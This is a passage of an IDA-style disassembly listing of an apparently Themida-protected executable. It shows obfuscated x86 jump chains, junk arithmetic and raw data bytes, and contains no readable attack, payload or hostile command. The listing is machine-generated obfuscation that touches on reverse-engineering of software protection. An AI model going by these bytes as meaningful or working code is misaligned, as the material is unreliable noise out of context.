		jmp	loc_5FB749
; ---------------------------------------------------------------------------


loc_5FF051:				; CODE XREF: Themida_:006005DAj
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5FB6DC
; ---------------------------------------------------------------------------
byte_5FF05D	db 64h,	66h, 0Fh	; DATA XREF: Themida_:005F68CCo
		dd 0EC8302B6h, 24048904h, 0BF57E089h, 4, 525068h, 242C8900h
		dd 392011BDh, 0E9DDF70Ch, 0FFFFC1A4h, 405h, 40500h, 20E90000h
		dd 81FFFFA0h, 0CD56C9C6h, 53DE877Eh, 5B2414F7h,	348B5356h
		dd 4C48324h, 0FF81FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FF0AD:				; CODE XREF: Themida_:005F8EB6j
		mov	esi, edi
		jmp	loc_600F8E
; ---------------------------------------------------------------------------


loc_5FF0B4:				; CODE XREF: Themida_:005FCB6Cj
		pop	esi
		sub	ebp, 4
		jmp	loc_5F9C89
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 0FFFBF3E9h, 241C8BFFh, 53E28952h, 4BBh
		dd 0E9DA0100h, 0FFFF9869h, 8107E6C1h, 8C0C55C6h, 1850E999h
		dd 0E9C00000h, 7E1C005h, 0E92AC180h, 0FFFF9E6Fh, 0E904C483h
		dd 0FFFFBF79h, 8702EE83h, 96E92434h
		db 11h,	2 dup(0)
byte_5FF10F	db 0FFh			; DATA XREF: Themida_:005F68B0o
		dd 3BE92434h, 81000005h, 4C2h, 24148700h, 0FF8784E9h, 595368FFh
		dd 1C890000h, 1C1BB24h,	0DBF7635Dh, 8104E3C1h, 773792E3h
		dd 7C92E957h, 0DDF7FFFFh, 15C581h, 80E94738h, 52FFFF9Fh
		dd 5E08950h, 4,	0E904E883h, 11C2h, 0BF243C89h, 2, 3C8BFE01h
		dd 39E95024h
		db 0BBh, 2 dup(0FFh)
byte_5FF173	db 0ACh			; DATA XREF: Themida_:005F6870o
		dd 6866D830h, 89662195h, 0B7B1240Ch, 55046B2Ch,	6E9C828h
		dd 1FFFFA9h, 96EB81F3h,	8B29F545h, 0C4832434h, 241C8704h
		dd 5124248Bh, 11FEE9h, 24048B00h, 1EEBE9h, 2B800h, 0DE90000h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FF1B7:				; CODE XREF: Themida_:005FB916j
		push	0ADBh
		mov	[esp], ecx
		mov	ecx, 73F2013Fh
		push	ebp
		push	edi
		mov	edi, 20CA2DEBh
		mov	ebp, 5E2B636Fh
		xor	ebp, edi
		pop	edi
		sub	[esp+8], ebp
		pop	ebp
		add	dword ptr [esp+4], 7FE74470h
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 7FE74470h
		push	ebp
		mov	ebp, 7EE14E84h
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_60168C
; ---------------------------------------------------------------------------
		dd 4C181h, 3AE90000h, 81FFFFE8h, 0CD126FCDh, 0FCE95712h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FF213:				; CODE XREF: Themida_:0060277Fj
		mov	edi, 1
		push	3BF0h
		mov	[esp], edi
		pop	ecx
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5F6D1F
; ---------------------------------------------------------------------------


loc_5FF238:				; CODE XREF: Themida_:006024EEj
		pop	eax
		not	ebp
		jmp	loc_601E9E
; ---------------------------------------------------------------------------
		dd 0A485E94Ah, 8158FFFFh, 30AA6C6h, 8BF201CAh, 89502434h
		dd 405E0h, 4050000h, 0E9000000h, 0FFFFDE00h
; ---------------------------------------------------------------------------


loc_5FF264:				; CODE XREF: Themida_:006000D3j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4


loc_5FF26B:				; CODE XREF: Themida_:loc_5F7689j
					; Themida_:005FE1DAj
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		jmp	loc_600255
; ---------------------------------------------------------------------------


loc_5FF277:				; CODE XREF: Themida_:005F86E4j
		xor	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, edx
		push	edx
		mov	edx, ebx
		jmp	loc_5FD675
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 4036824h, 1C890000h,	1C8B5424h, 4C48324h, 4C381h, 0EB830000h
		dd 0F87E904h, 0FE010000h, 40DAC681h, 0EE8154E4h, 5CA312A9h
		dd 2434875Fh, 4A30F5Ch,	80E99C24h, 81FFFF76h, 9B9D6FC2h
		dd 0E9D601FBh, 0FFFFCCD2h, 0BD242C89h, 224B5803h, 15DE831h
		dd 0FF5658C6h, 5E042474h, 8B24048Fh, 31E92424h,	4FFFFCCh
		dd 2CD800C0h, 0E9BD2CC0h, 57Bh
; ---------------------------------------------------------------------------


loc_5FF2FC:				; CODE XREF: Themida_:005FFCDEj
		push	ebx
		mov	ebx, 6A635041h
		or	ebx, 7BEE22E8h
		xor	ebx, 1760136h
		add	ebp, ebx
		pop	ebx
		jmp	loc_600686
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 446B3D6Ch, 4876F181h, 0C981764Ah, 76346477h,	5241E1D1h
		dd 2AB9DBAh, 8BD129A1h,	65E92414h, 5500000Bh, 0AD0EA2BDh
		dd 0E9DDF723h, 0FFFFFDFAh
; ---------------------------------------------------------------------------


loc_5FF348:				; CODE XREF: Themida_:00602BE8j
		add	ebp, edx
		pop	edx
		push	ebp
		jmp	loc_5FF89C
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 6Ch
		dd 5CFFFFD1h, 148BD000h, 8261E924h, 34FFFFFFh, 0F622E924h
		dd 0C1FEFFFFh, 3077B353h, 0FA25E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FF376:				; CODE XREF: Themida_:00601A45j
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 43F52B49h
		jmp	loc_5FA6F4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FF381D3h, 897CEE43h, 0CF895BD9h, 83240C8Bh,	0FB8904C4h
		dd 1C5F095Fh, 8B2434FFh, 0C483241Ch, 4C48104h, 68000000h
		dd 330Ah, 53242C89h, 0FF5B555Dh, 87E92434h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FF3CB:				; CODE XREF: Themida_:005FCDC7j
		mov	edx, 7E721715h
		neg	edx
		push	ebp
		mov	ebp, 7E721719h
		jmp	loc_5FA1AA
; ---------------------------------------------------------------------------


loc_5FF3DD:				; CODE XREF: Themida_:00602C85j
		push	esi
		push	ebx
		add	dword ptr [esp], 77082C14h
		pop	esi
		sub	esi, 77082C14h
		mov	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		add	dword ptr [esp], 64A32309h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5F8788
; ---------------------------------------------------------------------------


loc_5FF40E:				; CODE XREF: Themida_:006006C7j
		pop	ebp
		jmp	loc_5F8FD2
; ---------------------------------------------------------------------------


loc_5FF414:				; CODE XREF: Themida_:005FED4Aj
		mov	ebp, 2C886B66h
		or	ebp, 6B572DF7h
		xor	ebp, 6390466Eh
		xor	ebp, 275962E4h
		sub	ebp, 6E282D96h
		jmp	loc_6004B4
; ---------------------------------------------------------------------------


loc_5FF436:				; CODE XREF: Themida_:005FB723j
		inc	ecx
		inc	ecx
		add	ecx, 318B643Fh
		jmp	loc_5FE656
; ---------------------------------------------------------------------------
byte_5FF443	db 66h			; DATA XREF: Themida_:005F6714o
		dd 56240C8Bh, 0FFC5D0E9h, 555868FFh, 4890000h, 4A36824h
		dd 5587316h, 58630BCh, 48BC589h, 4C48324h, 0B63E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FF46D:				; CODE XREF: Themida_:00602069j
		mov	[esp], ebp
		jmp	loc_5FACCB
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 0F9h
		dd 8101E980h, 4ECh, 242C8900h, 0C581E589h, 4, 2ED81h, 2C870000h
		dd 24248B24h, 240C8966h, 662414F6h, 37E4E959h
		db 2 dup(0)
word_5FF4A6	dw 32FFh		; DATA XREF: Themida_:005F6674o
		dd 0FF7496E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FF4AD:				; CODE XREF: Themida_:00601357j
		mov	ebx, ecx
		jmp	loc_5FD531
; ---------------------------------------------------------------------------
		dd 701FE181h, 5BE935C2h, 1FFFF8Fh, 0EB8158C3h, 7C04CAh
		dd 5339F381h, 752DC4DAh, 177A771h, 717505D8h, 1C8B77A7h
		dd 4EC8324h, 54242C89h,	4C5815Dh, 83000000h, 2C8704C5h
		dd 0C3815C24h, 2CAE766Ah, 0EC83C329h, 243C8904h, 0D87572BFh
		dd 0BA525511h, 4B126A3Bh, 0C53C20BDh, 0DF77E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FF516:				; CODE XREF: Themida_:005FC5E9j
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5F8B2D
; ---------------------------------------------------------------------------
		db 68h
		dd 13C2h, 24048F54h, 2323E9h
		db 0
byte_5FF531	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F6700o
		dd 4EC8324h, 54241489h,	4B9515Ah, 81186739h, 0E93935E9h
		dd 35BE563Eh, 1268200h,	12FE9F1h
		db 2 dup(0)
word_5FF556	dw 28Fh			; DATA XREF: Themida_:005F67CCo
		dd 0FF95F2E9h, 24048BFFh, 4C481h, 0FB010000h, 0E689565Fh
		dd 4C681h, 11E90000h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FF577:				; CODE XREF: Themida_:005F8336j
		sub	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	edi
		jmp	loc_5FCCAA
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 5Bh
		dd 291B4B0Ch, 0ACE955C3h, 8900000Bh, 0E6892434h, 47DCBF57h
		dd 0E7810FAEh, 6CDF0463h, 444F781h, 0C6810C8Eh,	1F491B45h
		dd 1B83E9h, 8EC68100h, 81465073h, 9E4700F6h, 89E6814Ch
		dd 8158F915h, 4A6548F6h, 1283E935h, 0EB810000h,	29E127BCh
		dd 8736F381h, 0D9015DF8h, 59CA895Bh, 7DE9D301h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FF5EF:				; CODE XREF: Themida_:00601FEEj
		add	eax, ebp
		jmp	loc_5FB0DD
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 51180467h, 0EB814B43h, 0E41AD268h, 15BDE01h,	1FE0E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FF60E:				; CODE XREF: Themida_:00600D86j
		mov	edi, ebp
		pop	ebp
		and	ecx, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		jmp	loc_6006A1
; ---------------------------------------------------------------------------
		dd 0E95AD729h, 2F13h, 283CE95Fh, 48B0000h, 4C48324h, 0FFDE40E9h
		dd 15F781FFh, 81475F4Fh, 0A87AF8EFh, 5FF9892Ch,	0C8BCD89h
		dd 4C48324h, 0E95DEE01h, 0FFFFB788h, 982C3E2Ch,	0FFF99AE9h
		dd 2CE95EFFh, 5B000023h, 2474FF55h, 48F5D04h, 24248B24h
		dd 1BB868h, 240C8900h, 4A0A6853h, 0E95B4AD2h, 0FFFF743Fh
		dd 0E991E9D1h, 0FFFFD1A7h, 8561F281h, 0D32962A7h, 0E9DF295Ah
		dd 0FFFFD8F2h, 6CE9D529h, 89FFFF96h, 0F5E92424h, 81FFFF93h
		dd 2C2h, 0A2F3E900h, 835BFFFFh,	5CE904C4h, 5DFFFF72h, 8324148Bh
		dd 0EC8104C4h, 4, 8B243C89h, 89572414h,	0D0D1E9E7h, 0E189FFFFh
		dd 4C181h, 0E9810000h, 4, 0FF84BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FF715:				; CODE XREF: Themida_:005FC5F5j
		pop	esp
		push	0E12h
		mov	[esp], ebx
		push	2F7Eh
		mov	[esp], ebp
		mov	ebp, 5F330C17h
		jmp	loc_5F7A9D
; ---------------------------------------------------------------------------
		dd 4BE5659h, 0E9000000h, 0FFFF9FEFh, 2914CF81h,	0BB533FDFh
		dd 28A794E3h, 685BDF29h, 4112h,	0BB241C89h, 46345C81h
		dd 0FF9405E9h, 81F529FFh, 8C795DEDh, 0F1E95E63h
		db 0A8h, 2 dup(0FFh)
byte_5FF76B	db 0ADh			; DATA XREF: Themida_:005F6854o
		dd 0EC81D831h, 4, 50243C89h, 154AE952h,	34FF0000h, 0D8FAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FF786:				; CODE XREF: Themida_:005FDB99j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	1C6Ch
		jmp	loc_5F9C38
; ---------------------------------------------------------------------------
		dw 0CA31h
		dd 81240C8Bh, 4C4h, 2DBB5300h, 10F4134h, 0E849E9D8h, 1C89FFFFh
		dd 0BBE95424h, 5CFFFF97h, 0FF2434FFh, 0C8B2434h, 8DD9E924h
		dd 0E950FFFFh, 0E4Eh
; ---------------------------------------------------------------------------


loc_5FF7D0:				; CODE XREF: Themida_:00602CF1j
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_5F8C85
; ---------------------------------------------------------------------------


loc_5FF7E5:				; CODE XREF: Themida_:0060285Bj
		xchg	eax, [esp]
		pop	esp
		push	58B5h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_5F81BC
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 84h
		dd 66000015h, 9C2424D3h, 0FF7132E9h, 81C329FFh,	4ECh, 24148900h
		dd 51D5B951h, 0CA894E0Ch, 0FFAD73E9h
		db 0FFh
byte_5FF829	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F68B4o
		dd 0CF62E924h, 1C8BFFFFh, 0E2895224h, 4C281h, 0D4E90000h
		dd 0C1FFFFF8h, 0E2C108E2h, 53F28102h, 102E13Fh,	5AEE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FF856:				; CODE XREF: Themida_:00600799j
		pop	ecx
		jmp	loc_602825
; ---------------------------------------------------------------------------


loc_5FF85C:				; CODE XREF: Themida_:005F72A5j
		or	eax, eax
		jz	loc_5FD91C
		push	dword ptr [edi+1Ch]
		jmp	loc_5FED5C
; ---------------------------------------------------------------------------


loc_5FF86C:				; CODE XREF: Themida_:00602D75j
		pop	ebx
		add	eax, 0F936FA32h
		jmp	loc_600226
; ---------------------------------------------------------------------------
		db 53h
		dd 0DCE9D5B7h, 89000006h, 0A6F5E9D9h, 0D0B9FFFFh, 0E9186400h
		dd 2FA2h
; ---------------------------------------------------------------------------


loc_5FF890:				; CODE XREF: Themida_:005F6C6Bj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5F7689
; ---------------------------------------------------------------------------


loc_5FF89C:				; CODE XREF: Themida_:005FF34Cj
		push	dword ptr [esp+4]
		jmp	loc_5F9B3E
; ---------------------------------------------------------------------------


loc_5FF8A5:				; CODE XREF: Themida_:00601AC5j
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5FC9AD
		push	ecx
		push	ebx
		jmp	loc_5FAD8D
; ---------------------------------------------------------------------------


loc_5FF8C2:				; CODE XREF: Themida_:005FB48Fj
		push	esi
		mov	esi, 5DD00AF7h
		neg	esi
		jmp	loc_5F78C1
; ---------------------------------------------------------------------------


loc_5FF8CF:				; CODE XREF: Themida_:0060183Aj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5FC1A4
; ---------------------------------------------------------------------------
byte_5FF8E9	db 53h,	0E9h, 13h	; DATA XREF: Themida_:005F67F4o
		dd 8300002Ch, 2AE904C1h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FF8F7:				; CODE XREF: Themida_:005FFC3Cj
		pop	eax
		push	dword ptr [esp]
		pop	edx
		push	ebp
		jmp	loc_5F6CDD
; ---------------------------------------------------------------------------
		dd offset dword_62DC68
		dw 8900h
		dd 5D54242Ch, 8904EC83h, 4B82404h, 1000000h, 67E958C5h
		db 24h,	2 dup(0)
byte_5FF91F	db 0ADh			; DATA XREF: Themida_:005F6680o
		dd 0FFA56EE9h, 11BB53FFh, 0F7772A64h, 74E943D3h
		db 75h,	2 dup(0FFh)
byte_5FF933	db 66h			; DATA XREF: Themida_:005F67B4o
		dd 0E9240C8Bh, 0FFFFE8ECh
; ---------------------------------------------------------------------------


loc_5FF93C:				; CODE XREF: Themida_:005F71ABj
		shr	ebx, 8
		xor	ebx, 694333E1h
		jmp	loc_5FD93C
; ---------------------------------------------------------------------------


loc_5FF94A:				; CODE XREF: Themida_:005F90CAj
		mov	[esp], ecx
		push	esp
		jmp	loc_600CD2
; ---------------------------------------------------------------------------
		dd offset dword_604D68
		align 4
		dd 68241C89h, 3BBC2D19h, 0E9241C8Bh, 0FFFF8C1Eh, 875AD301h
		dd 6E9241Ch
		db 0CAh, 2 dup(0FFh)
byte_5FF973	db 0FFh			; DATA XREF: Themida_:005F66F8o
a4Ys		db '4$Y%(',0
		align 4
		dd 535AD609h, 7F2957BBh, 5BDE29EAh, 815EF789h, 0C04884F7h
		dd 5FF92964h, 5C240C87h, 0FFD6BFE9h
		db 0FFh
byte_5FF99D	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005F68E0o
		dd 6658669Dh, 9C240411h, 0FFB087E9h, 0E98DB2FFh, 0FFFFB258h
		dd 4C481h, 0BA520000h, 2, 0AE0FA72Dh, 57F72D2Ah, 0D6E94620h
		dd 81FFFFB2h, 37051FF1h, 33FBE95Ch, 0F0880000h,	0E958C588h
		dd 0FFFF89B0h, 0A002C581h, 0E801DC5Fh, 2404335Dh, 33240431h
		dd 0E95C2404h, 0FFFF8721h, 4FE9E389h
		db 0E3h, 2 dup(0FFh)
byte_5FFA03	db 0ADh			; DATA XREF: Themida_:005F67DCo
		dd 68766853h, 55B44E6h,	76914CF0h, 0F02DD829h, 8B76914Ch
		dd 0ADE9241Ch, 1FFFFD2h, 0F7815DEFh, 0FAF3650h,	2B48CF81h
		dd 0C7813342h, 8988E754h, 11E9FE89h, 0B8FFFFFCh, 3BCE7914h
		dd 0FFE282E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FFA45:				; CODE XREF: Themida_:005F706Aj
		add	eax, 4
		push	654Eh
		mov	[esp], edi
		push	eax
		push	67F634F3h
		pop	eax
		dec	eax
		neg	eax
		dec	eax
		sub	eax, 346355B3h
		mov	edi, eax
		pop	eax
		add	edi, 9C598AAAh
		jmp	loc_5F7D63
; ---------------------------------------------------------------------------


loc_5FFA70:				; CODE XREF: Themida_:005F74FEj
		add	esp, 4
		push	edi
		jmp	loc_5F73AE
; ---------------------------------------------------------------------------
		dd 4240483h, 0E92434FFh, 0FFFF9556h, 0E4E1E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FFA8E:				; CODE XREF: Themida_:005F8F92j
		pop	eax
		jmp	loc_5F831E
; ---------------------------------------------------------------------------
		dd 8324048Fh, 8F042404h, 46682404h, 0E900003Ch,	177Fh
; ---------------------------------------------------------------------------


loc_5FFAA8:				; CODE XREF: Themida_:005F9CA9j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5FE742
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 40h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FFAC3:				; CODE XREF: Themida_:005F86CCj
		add	eax, 5AF7DA8h
		add	eax, edi
		jmp	loc_5F808D
; ---------------------------------------------------------------------------
byte_5FFACF	db 0FFh			; DATA XREF: Themida_:005F686Co
		dd 8BE92434h, 8BFFFFF8h, 0C481241Ch, 4,	4EC81h,	0C890000h
		dd 28EEB524h, 0C80059E8h, 2CEEB252h, 4D000AFh, 59665AAFh
		dd 4CE9D828h, 56000026h, 268h, 0D406E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FFB0E:				; CODE XREF: Themida_:00601AD1j
		pop	eax
		xor	ebp, ecx
		pop	ecx
		xor	eax, ebp
		pop	ebp
		jmp	loc_5FDAE8
; ---------------------------------------------------------------------------
		dw 5655h
		dd 8341ADBEh, 3EEE8121h, 8147D839h, 1F353FF6h, 2CC68142h
		dd 4E7BE00Fh, 0FF81EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FFB39:				; CODE XREF: Themida_:005F9E3Dj
		push	edx
		jmp	loc_600697
; ---------------------------------------------------------------------------
		db 83h
		dd 5E042404h, 0FFDF1AE9h, 4C483FFh, 4C681h, 0C6810000h
		dd 2, 2474FF56h, 48F5E04h, 24248B24h, 9C240CD3h, 0FF6DD6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FFB6D:				; CODE XREF: Themida_:00600D9Dj
		mov	eax, 7DF7323Bh
		mov	ebx, eax
		pop	eax
		mov	edi, 8208CDC6h
		jmp	loc_6007C1
; ---------------------------------------------------------------------------


loc_5FFB7F:				; CODE XREF: Themida_:005FBC78j
		xchg	eax, [esp]
		jmp	loc_6001B9
; ---------------------------------------------------------------------------
		db 58h
		dd 5A66D530h, 99E90D2Ch, 1FFFFEBh, 79602DD8h, 1C8B6603h
		dd 4C48324h, 83242C8Bh,	815204C4h, 4ECh, 243C8900h, 0F75A6BBFh
		dd 4EC8321h, 0BF243C89h, 691E2211h, 0FFA067E9h,	64045CFFh
		dd 2803E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FFBCD:				; CODE XREF: Themida_:005FB8A2j
		push	eax
		push	2D8577B3h
		pop	eax
		xchg	eax, edi
		push	edi
		not	dword ptr [esp]
		jmp	loc_602929
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 776BD2EBh, 0E9F30169h, 1463h, 489665Ch, 6D4DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FFBF6:				; CODE XREF: Themida_:006028D0j
		pop	edi
		pop	ebp
		jmp	loc_5FB59A
; ---------------------------------------------------------------------------


loc_5FFBFD:				; CODE XREF: Themida_:005FC458j
		push	edx
		push	edi
		push	0E8F072Fh
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5F9B90
; ---------------------------------------------------------------------------


loc_5FFC0F:				; CODE XREF: Themida_:005F952Fj
		pop	eax
		jmp	loc_5F995D
; ---------------------------------------------------------------------------


loc_5FFC15:				; CODE XREF: Themida_:005FCE85j
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_5FBDA0
; ---------------------------------------------------------------------------
		dd 88E9C509h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FFC2B:				; CODE XREF: Themida_:005FE118j
		add	eax, 26003Ah
		push	ecx
		mov	ecx, 60536ACBh
		jmp	loc_5FC217
; ---------------------------------------------------------------------------


loc_5FFC3B:				; CODE XREF: Themida_:005FCA40j
		push	edx
		jmp	loc_5FF8F7
; ---------------------------------------------------------------------------


loc_5FFC41:				; CODE XREF: Themida_:005FE5D4j
		pop	ecx
		push	7Bh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5F706F
; ---------------------------------------------------------------------------
		db 68h
		dd 0D41h, 51241489h, 3250E9h, 9CF58100h, 4D1976EEh, 34F1C581h
		dd 0F5813F19h, 7BCD2E38h, 4B45ED81h, 0FFE92305h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FFC83:				; CODE XREF: Themida_:005FA80Ej
		and	ebx, 0BCC39D7h
		jmp	loc_5FD8CD
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 0FFEF1FE9h
		db 0FFh
byte_5FFC95	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F680Co
aHM		db '$h#M',0
		align 2
		dw 0C89h
		dd 74F56824h, 24890000h, 24048124h, 4, 0FFD483E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FFCB5:				; CODE XREF: Themida_:00601084j
		mov	edx, esp
		jmp	loc_5FBCB6
; ---------------------------------------------------------------------------
dword_5FFCBC	dd 24048B66h, 0E9E78957h, 1C46h; ---------------------------------------------------------------------------


loc_5FFCC8:				; CODE XREF: Themida_:0060288Aj
		and	ebp, 72823A31h
		and	ebp, 7B046A4h
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_5FF2FC
; ---------------------------------------------------------------------------


loc_5FFCE3:				; CODE XREF: Themida_:005FB38Bj
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_60274D
; ---------------------------------------------------------------------------
byte_5FFCEF	db 0FFh			; DATA XREF: Themida_:005F66BCo
		dd 589D1C77h, 9C240419h, 0FF6C46E9h, 0D1E950FFh
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FFD03:				; CODE XREF: Themida_:00601946j
		xor	esi, edx
		jmp	loc_5FEBD1
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 8C02A905h, 8F055F76h, 1360F6Ch, 2338E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FFD1E:				; CODE XREF: Themida_:005FA33Cj
		or	ebx, 4486450Ah
		add	ebx, 29012839h
		add	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_6022CA
; ---------------------------------------------------------------------------


loc_5FFD47:				; CODE XREF: Themida_:00600349j
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5F7003
; ---------------------------------------------------------------------------
		dd 2434FF59h, 4C4835Ah,	0FF6BD2E9h, 80C781FFh, 1FEFEBFh
		dd 14875FFAh, 48F5C24h,	24248B24h, 24048B66h, 81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 0C7E9243Ch, 58FFFF97h, 5204E2C1h
		dd 5A2414F7h, 0EA81DAF7h, 0B439CF1Dh, 204CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5FFDB5:				; CODE XREF: Themida_:005FA358j
		pop	esp
		mov	[esp], ebx
		jmp	loc_5F95E9
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0F4C380F9h, 0FFD3E5E9h
		db 0FFh
byte_5FFDC9	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F68DCo
		dd 5B545324h, 73DAE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FFDD6:				; CODE XREF: Themida_:005F77E9j
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		push	155Fh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 59F91FEFh
		push	ecx
		mov	ecx, 1EC9713Fh
		add	ecx, 3C062C42h
		jmp	loc_5F9E42
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFA9DAh
dword_5FFE0C	dd 513C77FFh, 8F196EB9h, 244C3175h, 57585904h, 0C7815F54h
					; DATA XREF: Themida_:005F66E8o
		dd 4, 4EF81h, 3C870000h, 1C895C24h, 0A3E95524h,	4FFFF7Bh
		dd 44345BDEh, 34FFC328h, 0C4815824h, 4,	0FFA394E9h, 2C27BEFFh
		dd 0C6810E6Fh, 5B2F46Dh, 0B3EE9h, 24048100h, 31DC6B6Eh
		dd 0E9240401h, 0FFFFCE7Ah, 0BB53505Fh, 44FA1DA7h, 4FE9D889h
		dd 0C0FFFFC6h, 0F38002E3h, 6E3C047h, 0C380D3F6h, 5BD80027h
		dd 240C8B66h, 2C481h, 2E2C0000h, 0E90AB252h, 6E1h, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 295C2414h, 6E959CFh
		db 0C7h, 2 dup(0FFh)
byte_5FFEBB	db 0ADh			; DATA XREF: Themida_:005F66B4o
		dd 4EC81h, 0C890000h, 9ABD5524h, 0E9298941h, 0FFFFB4C0h
		dd 434B3EBBh, 5BDA2947h, 58EEBE56h, 0BB5360CAh,	118F6C29h
		dd 0FF978CE9h, 30082DFFh, 0D801152Ch, 2C300805h, 4875B15h
		dd 3CD25C24h, 40E99C24h, 89FFFF6Ah, 0BE562404h,	2F6F7A6Dh
		dd 4244481h, 33F8660Bh,	4247401h, 0FA07E955h, 0E95AFFFFh
		dd 0FFFFCF84h, 0F704E0C1h, 5E8C1D0h, 5F7ED435h,	9D054019h
		dd 29FD83E2h, 33E958C5h
		db 0AFh, 2 dup(0FFh)
byte_5FFF3F	db 0FFh			; DATA XREF: Themida_:005F6684o
		dd 589D1C77h, 9C240411h, 0FF69F6E9h, 0E9F129FFh, 0FFFFDE1Eh
		dd 5FE94A66h, 2800000Dh, 0EC835BF8h, 241C8904h,	0C380ADB3h
		dd 0FFC38005h, 0FF7166E9h, 2F02BFFFh, 0FE29C927h, 5EF1015Fh
		dd 340BBA52h, 0EA810167h, 728F2FC1h, 0FF7E11E9h, 241C8BFFh
